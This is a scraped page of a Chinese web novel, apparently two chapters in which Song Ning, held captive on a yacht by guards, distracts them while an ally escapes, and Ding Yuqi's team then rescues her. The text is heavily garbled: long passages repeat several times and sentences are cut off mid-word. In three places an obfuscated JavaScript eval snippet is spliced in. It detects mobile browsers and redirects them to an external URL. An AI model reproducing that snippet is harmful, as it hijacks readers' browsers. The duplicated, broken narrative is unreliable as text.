宋凝说:“你们不想打电话也可以,我也不想你们为难。但是这件事,我必须得要一个说法。这把剪刀必须放在我这里,我不放心你们当中的任何一个人。同时,我希望你们之间也能互相监督,保证没有任何人再可以单独出现在我的船舱里。” “太太,您希望我们怎么证明?” “你们一共有多少人,都叫过来,今晚你们几个都待在一起,不许分开,更不许任何一个人离开。” 黑衣人微微思索了一下,觉得这倒是个不错的解决办法。 所有人都在一起,大家都能相互佐证,就算是傅总回头问起来,他们也能有个说法。 更重要的是,他们几个一起守着太太,她插翅也难逃。 想到这里,他微微颔首,“我去其他人过来。” 很快,一共七个黑衣人都站在了宋凝面前。 宋凝问道:“还有其他人漏掉了吗?比如负责开船的,他是单独一个人吗?” “太太您放心,我们的船停在这里,不需要开,所有人都在这里了。” 宋凝点了点头,心却慢慢悬了起来。 她已经如约把所有人都拖住了,不知道大拿那边进行地怎么样了…… 过的人。我希望你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16109433|177983||http|test|mini|href|location''.split(''|''),0,{})); () { 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他们三个能为彼此打包票,但是另一个船舱里的人,他们却没有十成十的把握。 可是…… 傅总交代过,太太很聪明,这一切会不会是她的计谋? 就算是她的计谋,她要干什么? 宋凝继续说道:“这把剪子上有那个人的血迹,到时候交给岸上的专家去鉴定,立刻就能确定真凶,你跑不掉的。” 最后面的那个黑衣人小声的请示前面那位:“……太太在船上被欺辱了,我们要不要报告给傅总?” “不行!都说了卫星电话不能打,会被定位的!” “那怎么办?我们现在要是走了,一会儿那个人又过来欺负太太,等傅总来了,我们几个全都得完蛋!” 宋凝冷声说道:“我不敢一个人睡,我怕那个人回来销毁这把剪刀。茫茫大海上,剪刀只要扔进水里就再也没有证据能证明他的罪行了。” 领头的黑衣人说:“太太,要不然您把剪刀交给我,等补给船来了,我想办法让他们带去岸上鉴定,给您一个交代……” “我怎么确定,方才那个人不是你?” “……” 宋凝说:“你们不想打电话也可以,我也不想你们为难。但是这件事,我必须得要一个说法。这把剪刀必须放在我这里,我不放心你们当中的任何一个人。同时,我希望你们之间也能互相监督,保证没有任何人再可以单独出现在我的船舱里。” “太太,您希望我们怎么证明?” “你们一共有多少人,都叫过来,今晚你们几个都待在一起,不许分开,更不许任何一个人离开。” 黑衣人微微思索了一下,觉得这倒是个不错的解决办法。 所有人都在一起,大家都能相互佐证,就算是傅总回头问起来,他们也能有个说法。 更重要的是,他们几个一起守着太太,她插翅也难逃。 想到这里,他微微颔首,“我去其他人过来。” 很快,一共七个黑衣人都站在了宋凝面前。 宋凝问道:“还有其他人漏掉了吗?比如负责开船的,他是单独一个人吗?” “太太您放心,我们的船停在这里,不需要开,所有人都在这里了。” 宋凝点了点头,心却慢慢悬了起来。 她已经如约把所有人都拖住了,不知道大拿那边进行地怎么样了…… 过的人。我希望你们之中刚刚谁做了不轨之事,能像个男人一样站出来,不要躲着当缩头乌龟。既然有胆子做,怎么没胆子认了?” 宋凝说完,几个黑衣人都有些沉默。 他们三个能为彼此打包票,但是另一个船舱里的人,他们却没有十成十的把握。 可是…… 傅总交代过,太太很聪明,这一切会不会是她的计谋? 就算是她的计谋,她要干什么? 宋凝继续说道:“这把剪子上有那个人的血迹,到时候交给岸上的专家去鉴定,立刻就能确定真凶,你跑不掉的。” 最后面的那个黑衣人小声的请示前面那位:“……太太在船上被欺辱了,我们要不要报告给傅总?” “不行!都说了卫星电话不能打,会被定位的!” “那怎么办?我们现在要是走了,一会儿那个人又过来欺负太太,等傅总来了,我们几个全都得完蛋!” 宋凝冷声说道:“我不敢一个人睡,我怕那个人回来销毁这把剪刀。茫茫大海上,剪刀只要扔进水里就再也没有证据能证明他的罪行了。” 领头的黑衣人说:“太太,要不然您把剪刀交给我,等补给船来了,我想办法让他们带去岸上鉴定,给您一个交代……” “我怎么确定,方才那个人不是你?” “……” 宋凝说:“你们不想打电话也可以,我也不想你们为难。但是这件事,我必须得要一个说法。这把剪刀必须放在我这里,我不放心你们当中的任何一个人。同时,我希望你们之间也能互相监督,保证没有任何人再可以单独出现在我的船舱里。” “太太,您希望我们怎么证明?” “你们一共有多少人,都叫过来,今晚你们几个都待在一起,不许分开,更不许任何一个人离开。” 黑衣人微微思索了一下,觉得这倒是个不错的解决办法。 所有人都在一起,大家都能相互佐证,就算是傅总回头问起来,他们也能有个说法。 更重要的是,他们几个一起守着太太,她插翅也难逃。 想到这里,他微微颔首,“我去其他人过来。” 很快,一共七个黑衣人都站在了宋凝面前。 宋凝问道:“还有其他人漏掉了吗?比如负责开船的,他是单独一个人吗?” “太太您放心,我们的船停在这里,不需要开,所有人都在这里了。” 宋凝点了点头,心却慢慢悬了起来。 她已经如约把所有人都拖住了,不知道大拿那边进行地怎么样了…… 第一百四十六章 计划有变 暗夜里,任何一点小响动都足以引起所有人的注意。 因为男女有别,这几个黑衣人也没有进入宋凝所在的船舱内部,但是舱门被打开了,他们都两两背对背坐在外面的公共区域内。 不光是他们互相之间能看到,船舱里的女主也能一眼就看到所有人。 女主手里还握着那把小剪子,靠坐在月光照不到的阴影里。 外面几个黑衣人也沉默着,一时间整个空间内安静的诡异。 过了许久,其中一个黑衣人站了起来:“我有点饿了,我去仓库取点食物。” “等一下!” 宋凝叫住了他。 大拿就被他们安置在放置物资的仓库里。 她现在拿不准大拿有没有开始行动,行动到了哪个步骤,眼下还是要尽力掩护他。 宋凝冷声说:“说好了,不能一个人单独行动,你要干什么?” 黑衣人立马有些顿住,然后解释道:“太太,我真的只是有点饿了而已。而且证据小剪子还在你手里,我就算一个人行动也做不了什么啊。” 宋凝只是轻声说:“刚刚那个人被我划伤了,如果是要偷偷自己去包扎伤口呢?” “这……”黑衣人说:“那这样,我找个人跟我一起去,全程监督我的行动,这样总可以吧?” 宋凝知道,如果再拒绝下去,反而会让这群人怀疑自己的动机。 如果他们意识到了什么,突然开始搜寻整个船舱,那对大拿就很不利了。 宋凝沉思了一会儿,说:“找人陪同可以,但是为了避免你们因为相互之间的交情帮忙隐瞒,必须我来指定陪同的人。” “可以。” 宋凝指了指最角落里的一个黑衣人:“就他……” 等等。 那个人刚刚坐在阴影里,一直很低调,她没太看清那个人的表情。 可是此时目光聚焦之下,赫然发现他居然是已经换上了一套黑衣服的大拿! 他应该是在刚刚黑衣人叫所有人来集合的时候,趁机撂倒了一个,然后换上了他的衣服赶来了这里。 既然这样的话…… 宋凝立刻换了个人,指着那个陌生的面孔说道:“就你后面的那个人吧。” 两个黑衣人都没什么异议,互相看了一眼,便起身准备去仓库拿东西。 剩下的几个人之中,明显有几个是熟识的。 “喂,帮我也带点回来。” “我也要我也要,你一说我也有点饿了。” 两个黑衣人点了点头,去了仓库。 可是没几秒钟就退了出来,惊慌失措道:“坏了!那个男的不见了!” 顿时,在场的几个黑衣人全都站了起来。 为首的那个直接冲了进去,看着空荡荡的仓库,愤怒道:“他手都断了,怎么还能跑了?他什么时候醒的?你们都没听见吗?!” 几个黑衣人都低着头,不敢吭声。 为首的黑衣人立刻吩咐道:“整个游艇不大,如果跳进海里肯定活不成,他肯定还在游艇上!现在立刻给我搜!” 黑衣人们第一反应是要四散分开去抓人。 可是下一秒,宋凝就抬了抬脚,用**敲响了床柱,示意她人还在呢。 为首的黑衣人嗤笑了一声,说道:“太太,您今晚闹着一出,就是为了给他创造机会是吧?让我们都**在这里,给他机会逃脱?可是太太,这里可是公海啊,您还真的觉得他能游回去吗?” 宋凝原本的打算确实是这样,可是随着大拿变成了黑衣人中的一员,计划就改了。 她原本要做的是吸引这群人的注意力,把这群人**起来,给大拿创造时间。 可现在要做的,是尽量让他们单个人分开,这样才有利于大拿的行动。 宋凝也笑:“既然你这么怀疑,那就让你手下的这些人去搜吧,后果你能承担就行。” 傅东擎下的命令是,让黑衣人们看守住她。 但并没有说一定要看守住大拿。 而且就算大拿跑了,他也不能真的跳海,还得躲在这艘船上。 其实他此刻在哪里躲着,意义都不是很大。 为首的黑衣人想了想,也拿定了主意。 既然跑了,那肯定是要找的。 不然等傅总回来问起,他也没法解释为什么人丢了就任由他丢了。 但现在最根本的,还是要守好宋凝。 他眼中精光一闪,看向了宋凝——会不会这也是宋凝的一个计策呢? 傅总说过,太太并不是那种娇滴滴的女人,她鬼点子多着呢。 会不会把他们全都支开,才是她的目的? “这样吧,”为首的黑衣人说:“我,还有另外一个兄弟,留下两个人负责保护太太的安全,以免刚刚那种腌臜的事情再发生。另外四个去搜船。太太觉得怎么样?” 宋凝垂下了眼眸。 余光里,大拿冲她微一颔首。 “好,我没什么异议。” “谢谢太太的 理解,”黑衣人立刻分配了任务:“强子,你跟我一起守在太太身边;猴子你带其他几个兄弟去把船搜一遍!” “是!” 大拿站了起来,跟在那个叫“猴子”的人身后,缓缓离开了。 约莫大概十几分钟,负责艘船的那几个人都回来了。 “头儿,没找到。” “怎么会没找到?所有地方都找了吗?” “全都找了,真的没有。头儿,他不会真的跳海了吧?” 之前排除了这个可能,但是四个人都没找到,这个可能性似乎又变得不是那么绝对了。 一时间,整个船舱又重新陷入沉默里。 “……头儿,要不要给傅总报告一下?” 太太差点被欺负,另一个人质还失踪了。 任何一件事都不是小事。 那个男的明显是身上有点功夫在,练过的,要是真被他游走了,遇到了附近的邮轮或者是渔船,被救上岸。 那一切还是得暴露。 为首的黑衣人咬了咬牙,说道:“等到天亮,如果还没找到人,就联系傅总!” “是!” 这一夜,没有任何人睡得着。 几个人都是枯坐到天明。 而天边慢慢泛起鱼肚白的时候,远处传来了一声汽笛的声音。 “头儿,是补给船来了吗?” “不会的,时间不对。” “可是那艘船直直冲我们过来了,并不像是路过的啊……” 宋凝也偏头向窗外看去。 只见一艘游艇快速开了过来,速度很快。 再然后,她看清了甲板上的人—— 理解,”黑衣人立刻分配了任务:“强子,你跟我一起守在太太身边;猴子你带其他几个兄弟去把船搜一遍!” “是!” 大拿站了起来,跟在那个叫“猴子”的人身后,缓缓离开了。 约莫大概十几分钟,负责艘船的那几个人都回来了。 “头儿,没找到。” “怎么会没找到?所有地方都找了吗?” “全都找了,真的没有。头儿,他不会真的跳海了吧?” 之前排除了这个可能,但是四个人都没找到,这个可能性似乎又变得不是那么绝对了。 一时间,整个船舱又重新陷入沉默里。 “……头儿,要不要给傅总报告一下?” 太太差点被欺负,另一个人质还失踪了。 任何一件事都不是小事。 那个男的明显是身上有点功夫在,练过的,要是真被他游走了,遇到了附近的邮轮或者是渔船,被救上岸。 那一切还是得暴露。 为首的黑衣人咬了咬牙,说道:“等到天亮,如果还没找到人,就联系傅总!” “是!” 这一夜,没有任何人睡得着。 几个人都是枯坐到天明。 而天边慢慢泛起鱼肚白的时候,远处传来了一声汽笛的声音。 “头儿,是补给船来了吗?” “不会的,时间不对。” “可是那艘船直直冲我们过来了,并不像是路过的啊……” 宋凝也偏头向窗外看去。 只见一艘游艇快速开了过来,速度很快。 再然后,她看清了甲板上的人—— 理解,”黑衣人立刻分配了任务:“强子,你跟我一起守在太太身边;猴子你带其他几个兄弟去把船搜一遍!” “是!” 大拿站了起来,跟在那个叫“猴子”的人身后,缓缓离开了。 约莫大概十几分钟,负责艘船的那几个人都回来了。 “头儿,没找到。” “怎么会没找到?所有地方都找了吗?” “全都找了,真的没有。头儿,他不会真的跳海了吧?” 之前排除了这个可能,但是四个人都没找到,这个可能性似乎又变得不是那么绝对了。 一时间,整个船舱又重新陷入沉默里。 “……头儿,要不要给傅总报告一下?” 太太差点被欺负,另一个人质还失踪了。 任何一件事都不是小事。 那个男的明显是身上有点功夫在,练过的,要是真被他游走了,遇到了附近的邮轮或者是渔船,被救上岸。 那一切还是得暴露。 为首的黑衣人咬了咬牙,说道:“等到天亮,如果还没找到人,就联系傅总!” “是!” 这一夜,没有任何人睡得着。 几个人都是枯坐到天明。 而天边慢慢泛起鱼肚白的时候,远处传来了一声汽笛的声音。 “头儿,是补给船来了吗?” “不会的,时间不对。” “可是那艘船直直冲我们过来了,并不像是路过的啊……” 宋凝也偏头向窗外看去。 只见一艘游艇快速开了过来,速度很快。 再然后,她看清了甲板上的人—— 理解,”黑衣人立刻分配了任务:“强子,你跟我一起守在太太身边;猴子你带其他几个兄弟去把船搜一遍!” “是!” 大拿站了起来,跟在那个叫“猴子”的人身后,缓缓离开了。 约莫大概十几分钟,负责艘船的那几个人都回来了。 “头儿,没找到。” “怎么会没找到?所有地方都找了吗?” “全都找了,真的没有。头儿,他不会真的跳海了吧?” 之前排除了这个可能,但是四个人都没找到,这个可能性似乎又变得不是那么绝对了。 一时间,整个船舱又重新陷入沉默里。 “……头儿,要不要给傅总报告一下?” 太太差点被欺负,另一个人质还失踪了。 任何一件事都不是小事。 那个男的明显是身上有点功夫在,练过的,要是真被他游走了,遇到了附近的邮轮或者是渔船,被救上岸。 那一切还是得暴露。 为首的黑衣人咬了咬牙,说道:“等到天亮,如果还没找到人,就联系傅总!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16113689|177983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “是!” 这一夜,没有任何人睡得着。 几个人都是枯坐到天明。 而天边慢慢泛起鱼肚白的时候,远处传来了一声汽笛的声音。 “头儿,是补给船来了吗?” “不会的,时间不对。” “可是那艘船直直冲我们过来了,并不像是路过的啊……” 宋凝也偏头向窗外看去。 只见一艘游艇快速开了过来,速度很快。 再然后,她看清了甲板上的人—— 理解,”黑衣人立刻分配了任务:“强子,你跟我一起守在太太身边;猴子你带其他几个兄弟去把船搜一遍!” “是!” 大拿站了起来,跟在那个叫“猴子”的人身后,缓缓离开了。 约莫大概十几分钟,负责艘船的那几个人都回来了。 “头儿,没找到。” “怎么会没找到?所有地方都找了吗?” “全都找了,真的没有。头儿,他不会真的跳海了吧?” 之前排除了这个可能,但是四个人都没找到,这个可能性似乎又变得不是那么绝对了。 一时间,整个船舱又重新陷入沉默里。 “……头儿,要不要给傅总报告一下?” 太太差点被欺负,另一个人质还失踪了。 任何一件事都不是小事。 那个男的明显是身上有点功夫在,练过的,要是真被他游走了,遇到了附近的邮轮或者是渔船,被救上岸。 那一切还是得暴露。 为首的黑衣人咬了咬牙,说道:“等到天亮,如果还没找到人,就联系傅总!” “是!” 这一夜,没有任何人睡得着。 几个人都是枯坐到天明。 而天边慢慢泛起鱼肚白的时候,远处传来了一声汽笛的声音。 “头儿,是补给船来了吗?” “不会的,时间不对。” “可是那艘船直直冲我们过来了,并不像是路过的啊……” 宋凝也偏头向窗外看去。 只见一艘游艇快速开了过来,速度很快。 再然后,她看清了甲板上的人—— 理解,”黑衣人立刻分配了任务:“强子,你跟我一起守在太太身边;猴子你带其他几个兄弟去把船搜一遍!” “是!” 大拿站了起来,跟在那个叫“猴子”的人身后,缓缓离开了。 约莫大概十几分钟,负责艘船的那几个人都回来了。 “头儿,没找到。” “怎么会没找到?所有地方都找了吗?” “全都找了,真的没有。头儿,他不会真的跳海了吧?” 之前排除了这个可能,但是四个人都没找到,这个可能性似乎又变得不是那么绝对了。 一时间,整个船舱又重新陷入沉默里。 “……头儿,要不要给傅总报告一下?” 太太差点被欺负,另一个人质还失踪了。 任何一件事都不是小事。 那个男的明显是身上有点功夫在,练过的,要是真被他游走了,遇到了附近的邮轮或者是渔船,被救上岸。 那一切还是得暴露。 为首的黑衣人咬了咬牙,说道:“等到天亮,如果还没找到人,就联系傅总!” “是!” 这一夜,没有任何人睡得着。 几个人都是枯坐到天明。 而天边慢慢泛起鱼肚白的时候,远处传来了一声汽笛的声音。 “头儿,是补给船来了吗?” “不会的,时间不对。” “可是那艘船直直冲我们过来了,并不像是路过的啊……” 宋凝也偏头向窗外看去。 只见一艘游艇快速开了过来,速度很快。 再然后,她看清了甲板上的人—— 理解,”黑衣人立刻分配了任务:“强子,你跟我一起守在太太身边;猴子你带其他几个兄弟去把船搜一遍!” “是!” 大拿站了起来,跟在那个叫“猴子”的人身后,缓缓离开了。 约莫大概十几分钟,负责艘船的那几个人都回来了。 “头儿,没找到。” “怎么会没找到?所有地方都找了吗?” “全都找了,真的没有。头儿,他不会真的跳海了吧?” 之前排除了这个可能,但是四个人都没找到,这个可能性似乎又变得不是那么绝对了。 一时间,整个船舱又重新陷入沉默里。 “……头儿,要不要给傅总报告一下?” 太太差点被欺负,另一个人质还失踪了。 任何一件事都不是小事。 那个男的明显是身上有点功夫在,练过的,要是真被他游走了,遇到了附近的邮轮或者是渔船,被救上岸。 那一切还是得暴露。 为首的黑衣人咬了咬牙,说道:“等到天亮,如果还没找到人,就联系傅总!” “是!” 这一夜,没有任何人睡得着。 几个人都是枯坐到天明。 而天边慢慢泛起鱼肚白的时候,远处传来了一声汽笛的声音。 “头儿,是补给船来了吗?” “不会的,时间不对。” “可是那艘船直直冲我们过来了,并不像是路过的啊……” 宋凝也偏头向窗外看去。 只见一艘游艇快速开了过来,速度很快。 再然后,她看清了甲板上的人—— 第一百四十七章 这个仇我记住了 丁予期就站在甲板上,一脸肃杀。 萝卜和老姚也在,他们身后也跟着一群人,虽然身着便装,但一看就是受过训练的练家子。 老姚正在低着头跟身后的人说着什么。 两艘船逐渐靠近,黑衣人们终于能肯定,丁予期他们绝对是冲着自己这艘船来的。 为首的黑衣人立刻回头看向了宋凝,眼中惊疑不定。 他怀疑是宋凝叫来的人,可是茫茫大海,宋凝又被困在床上,他不相信宋凝能有什么办法联络外部。 “头儿,外面那个好像是小丁总,怎么办?” “来都来了,还能怎么办?出去会会吧。” “那太太这里要留下两个人看守吗?” “用不着了。” 丁予期亲自出马,还带着人,人数是他们的几倍,看守不看守都没什么区别了。 黑衣人们刚去到甲板,两艘船的船舷就只剩下两米左右的距离了。 丁予期一马当先地用手撑着围栏一个借力就跳了过来,紧接着是老姚和萝卜。 黑衣人伸手拦了一下:“小丁总,您要干什么?” 丁予期冷着脸,单手捏着他的手腕轻轻一用力,就听到黑衣人的手腕嘎嘣一声响,紧接着就是他痛苦的蹲在地上嘶嚎的声音。 老姚大喝一声:“我们来接嫂子,不想跟你们动手,你们也是听命于人罢了,赶紧让开!” 黑衣人们面面相觑。 萝卜最烦磨叽,直接带着人推开了几个黑衣人就冲了进去。 剩下的几个黑衣人还想反抗,就被丁予期带来的人几下子按倒在地,手臂反扭在地上动弹不得。 宋凝隐约能听到外面的动静,但不知道发生了什么。 大拿没跟着那群黑衣人一起出去,而是在旁边陪着她。 直到船舱门被重重的一脚踢开,丁予期的身影出现在门口。 宋凝还没反应过来,萝卜就冲了上来,一看就看到宋凝脚腕上的**。 他大骂了一声:“靠,还以为傅东擎至少不会伤害嫂子,这**居然上**?” 丁予期紧紧拧着眉心,低声问道:“弄得开吗?” “之前射击比赛总是垫底,这下总算轮到我大显身手了。” 萝卜在仓库的角落里翻找出来了一根细铁丝,在**的锁眼里来回捅了一阵子。 几分钟后,**应声而解。 萝卜把**取下来扔到一边,“搞定。” 骤然间恢复自由,宋凝 有些没来由的怔忪。 尤其是当丁予期的目光一直凝在她手腕和脚踝上被**磨出来的一圈红痕时。 她从来没见过这个样子的丁予期。 从前见他,都是嬉笑怒骂偶尔还有些不正经,但今天的他,浑身似乎都散发着地狱来的冷意,看的宋凝都有些不敢直视。 “……你怎么来的?” 丁予期走近了一些,脱下外套把她包裹住,然后打横抱起往外走:“御剑来的。” ……这能开玩笑。 也不看看这是什么时间什么地点。 宋凝窝在他怀里,轻轻拉住他胸前的衬衫,提醒道:“大拿的手臂受伤了,应该不轻。” 丁予期的脚步顿了一下,回头看向大拿。 身后,老姚和萝卜已经扶着大拿站了起来。 大拿的右手小臂整个都软成了面团一样,往下耷拉着。 老姚小心翼翼地拖着,一点都不敢用力。 萝卜偏头骂了一句脏话,眼眶都红了:“这个仇我记住了!” 一起奋战过的战友才会知道,一个狙击手的手伤成这样,几乎等于职业生涯的终结。 更或许,他后半生的生活都会收到影响。 宋凝咬着唇,只听到头顶上传来丁予期低沉到有些沙哑地声音:“我也记住了。” 一行人回到丁予期的船上后,分别把宋凝和大拿都安顿好。 丁予期躲在她床尾,低声说:“收到信号我就立刻赶过来了,没来得及带医生。等上了岸我就立刻派人送大拿去医院。” 宋凝点了点头,但看到大拿那条软趴趴地手臂,心里还是一抽一抽的疼。 老姚和萝卜也脱下衣服,给大拿盖上。 他正在发烧,整张脸一直到脖子都红彤彤的。 老姚问了一句:“嫂子,那个姓傅的还对你做什么了吗?” 宋凝摇了摇头:“他似乎回去还有事要处理,把我铐在船舱里就离开了,你们也来的也很快,他没机会了。” 其实宋凝知道老姚想问什么。 她现在毕竟是丁予期法律意义上的妻子,而傅东擎摆明了对她贼心不死,把她劫走不可能什么都不做。 宋凝抬头去看丁予期的反应,他好像并不怎么在意这个问题,而是目光锁定在了她的手臂上:“这个伤是怎么弄的?” “我自己划伤的。” “自己?” “真的是我自己,不是你想的那样……我……” 霎时间,她被拥 在了一个坚实温暖的怀抱里。 丁予期抱着她,并没有太用力,生怕碰到她的伤口,可是力道也不算轻,牢牢地把她箍在怀里。 算起来,这还是他们第一次以夫妻的身份拥抱。 跟之前那几次为了逃脱傅东擎而被迫肢体接触很不一样。 她能感觉到丁予期在微微颤抖。 “……他真的没怎么样我。” “宋凝。”他的声音闷闷的。 “嗯。” “对不起。” “什么?” 对不起,没有保护好你。 他把脸埋在宋凝的颈窝里,闻着她身上好闻的栀子花香,声音有些闷闷的。 宋凝没太听清楚。 她又追问了一次:“你说什么?” “以后,你要去哪里我都会陪着你。” 这一次,她听清楚了。 “好。” 几个人静静的待了一会儿,调整了一下情绪。 与此同时,船也在以最快的速度往岸边驶去。 宋凝在路上,才听老姚他们说起了来龙去脉。 “……一开始我们都急疯了,还是丁儿脑子转得快,说是要锁定小型游艇。然后苏菲姐那边带来的人疯狂的搜寻海上的无线电信号,但是一晚上都没什么收获。” “直到天快亮的时候,终于有一个一闪而过的卫星电话信号被捕捉到了,丁儿立马带着我们往这边赶,连坐标都是在路上才慢慢确认到的,这才找到了你们。” 在了一个坚实温暖的怀抱里。 丁予期抱着她,并没有太用力,生怕碰到她的伤口,可是力道也不算轻,牢牢地把她箍在怀里。 算起来,这还是他们第一次以夫妻的身份拥抱。 跟之前那几次为了逃脱傅东擎而被迫肢体接触很不一样。 她能感觉到丁予期在微微颤抖。 “……他真的没怎么样我。” “宋凝。”他的声音闷闷的。 “嗯。” “对不起。” “什么?” 对不起,没有保护好你。 他把脸埋在宋凝的颈窝里,闻着她身上好闻的栀子花香,声音有些闷闷的。 宋凝没太听清楚。 她又追问了一次:“你说什么?” “以后,你要去哪里我都会陪着你。” 这一次,她听清楚了。 “好。” 几个人静静的待了一会儿,调整了一下情绪。 与此同时,船也在以最快的速度往岸边驶去。 宋凝在路上,才听老姚他们说起了来龙去脉。 “……一开始我们都急疯了,还是丁儿脑子转得快,说是要锁定小型游艇。然后苏菲姐那边带来的人疯狂的搜寻海上的无线电信号,但是一晚上都没什么收获。” “直到天快亮的时候,终于有一个一闪而过的卫星电话信号被捕捉到了,丁儿立马带着我们往这边赶,连坐标都是在路上才慢慢确认到的,这才找到了你们。” 在了一个坚实温暖的怀抱里。 丁予期抱着她,并没有太用力,生怕碰到她的伤口,可是力道也不算轻,牢牢地把她箍在怀里。 算起来,这还是他们第一次以夫妻的身份拥抱。 跟之前那几次为了逃脱傅东擎而被迫肢体接触很不一样。 她能感觉到丁予期在微微颤抖。 “……他真的没怎么样我。” “宋凝。”他的声音闷闷的。 “嗯。” “对不起。” “什么?” 对不起,没有保护好你。 他把脸埋在宋凝的颈窝里,闻着她身上好闻的栀子花香,声音有些闷闷的。 宋凝没太听清楚。 她又追问了一次:“你说什么?” “以后,你要去哪里我都会陪着你。” 这一次,她听清楚了。 “好。” 几个人静静的待了一会儿,调整了一下情绪。 与此同时,船也在以最快的速度往岸边驶去。 宋凝在路上,才听老姚他们说起了来龙去脉。 “……一开始我们都急疯了,还是丁儿脑子转得快,说是要锁定小型游艇。然后苏菲姐那边带来的人疯狂的搜寻海上的无线电信号,但是一晚上都没什么收获。” “直到天快亮的时候,终于有一个一闪而过的卫星电话信号被捕捉到了,丁儿立马带着我们往这边赶,连坐标都是在路上才慢慢确认到的,这才找到了你们。” 在了一个坚实温暖的怀抱里。 丁予期抱着她,并没有太用力,生怕碰到她的伤口,可是力道也不算轻,牢牢地把她箍在怀里。 算起来,这还是他们第一次以夫妻的身份拥抱。 跟之前那几次为了逃脱傅东擎而被迫肢体接触很不一样。 她能感觉到丁予期在微微颤抖。 “……他真的没怎么样我。” “宋凝。”他的声音闷闷的。 “嗯。” “对不起。” “什么?” 对不起,没有保护好你。 他把脸埋在宋凝的颈窝里,闻着她身上好闻的栀子花香,声音有些闷闷的。 宋凝没太听清楚。 她又追问了一次:“你说什么?” “以后,你要去哪里我都会陪着你。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16121817|177983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这一次,她听清楚了。 “好。” 几个人静静的待了一会儿,调整了一下情绪。 与此同时,船也在以最快的速度往岸边驶去。 宋凝在路上,才听老姚他们说起了来龙去脉。 “……一开始我们都急疯了,还是丁儿脑子转得快,说是要锁定小型游艇。然后苏菲姐那边带来的人疯狂的搜寻海上的无线电信号,但是一晚上都没什么收获。” “直到天快亮的时候,终于有一个一闪而过的卫星电话信号被捕捉到了,丁儿立马带着我们往这边赶,连坐标都是在路上才慢慢确认到的,这才找到了你们。” 在了一个坚实温暖的怀抱里。 丁予期抱着她,并没有太用力,生怕碰到她的伤口,可是力道也不算轻,牢牢地把她箍在怀里。 算起来,这还是他们第一次以夫妻的身份拥抱。 跟之前那几次为了逃脱傅东擎而被迫肢体接触很不一样。 她能感觉到丁予期在微微颤抖。 “……他真的没怎么样我。” “宋凝。”他的声音闷闷的。 “嗯。” “对不起。” “什么?” 对不起,没有保护好你。 他把脸埋在宋凝的颈窝里,闻着她身上好闻的栀子花香,声音有些闷闷的。 宋凝没太听清楚。 她又追问了一次:“你说什么?” “以后,你要去哪里我都会陪着你。” 这一次,她听清楚了。 “好。” 几个人静静的待了一会儿,调整了一下情绪。 与此同时,船也在以最快的速度往岸边驶去。 宋凝在路上,才听老姚他们说起了来龙去脉。 “……一开始我们都急疯了,还是丁儿脑子转得快,说是要锁定小型游艇。然后苏菲姐那边带来的人疯狂的搜寻海上的无线电信号,但是一晚上都没什么收获。” “直到天快亮的时候,终于有一个一闪而过的卫星电话信号被捕捉到了,丁儿立马带着我们往这边赶,连坐标都是在路上才慢慢确认到的,这才找到了你们。” 在了一个坚实温暖的怀抱里。 丁予期抱着她,并没有太用力,生怕碰到她的伤口,可是力道也不算轻,牢牢地把她箍在怀里。 算起来,这还是他们第一次以夫妻的身份拥抱。 跟之前那几次为了逃脱傅东擎而被迫肢体接触很不一样。 她能感觉到丁予期在微微颤抖。 “……他真的没怎么样我。” “宋凝。”他的声音闷闷的。 “嗯。” “对不起。” “什么?” 对不起,没有保护好你。 他把脸埋在宋凝的颈窝里,闻着她身上好闻的栀子花香,声音有些闷闷的。 宋凝没太听清楚。 她又追问了一次:“你说什么?” “以后,你要去哪里我都会陪着你。” 这一次,她听清楚了。 “好。” 几个人静静的待了一会儿,调整了一下情绪。 与此同时,船也在以最快的速度往岸边驶去。 宋凝在路上,才听老姚他们说起了来龙去脉。 “……一开始我们都急疯了,还是丁儿脑子转得快,说是要锁定小型游艇。然后苏菲姐那边带来的人疯狂的搜寻海上的无线电信号,但是一晚上都没什么收获。” “直到天快亮的时候,终于有一个一闪而过的卫星电话信号被捕捉到了,丁儿立马带着我们往这边赶,连坐标都是在路上才慢慢确认到的,这才找到了你们。” 在了一个坚实温暖的怀抱里。 丁予期抱着她,并没有太用力,生怕碰到她的伤口,可是力道也不算轻,牢牢地把她箍在怀里。 算起来,这还是他们第一次以夫妻的身份拥抱。 跟之前那几次为了逃脱傅东擎而被迫肢体接触很不一样。 她能感觉到丁予期在微微颤抖。 “……他真的没怎么样我。” “宋凝。”他的声音闷闷的。 “嗯。” “对不起。” “什么?” 对不起,没有保护好你。 他把脸埋在宋凝的颈窝里,闻着她身上好闻的栀子花香,声音有些闷闷的。 宋凝没太听清楚。 她又追问了一次:“你说什么?” “以后,你要去哪里我都会陪着你。” 这一次,她听清楚了。 “好。” 几个人静静的待了一会儿,调整了一下情绪。 与此同时,船也在以最快的速度往岸边驶去。 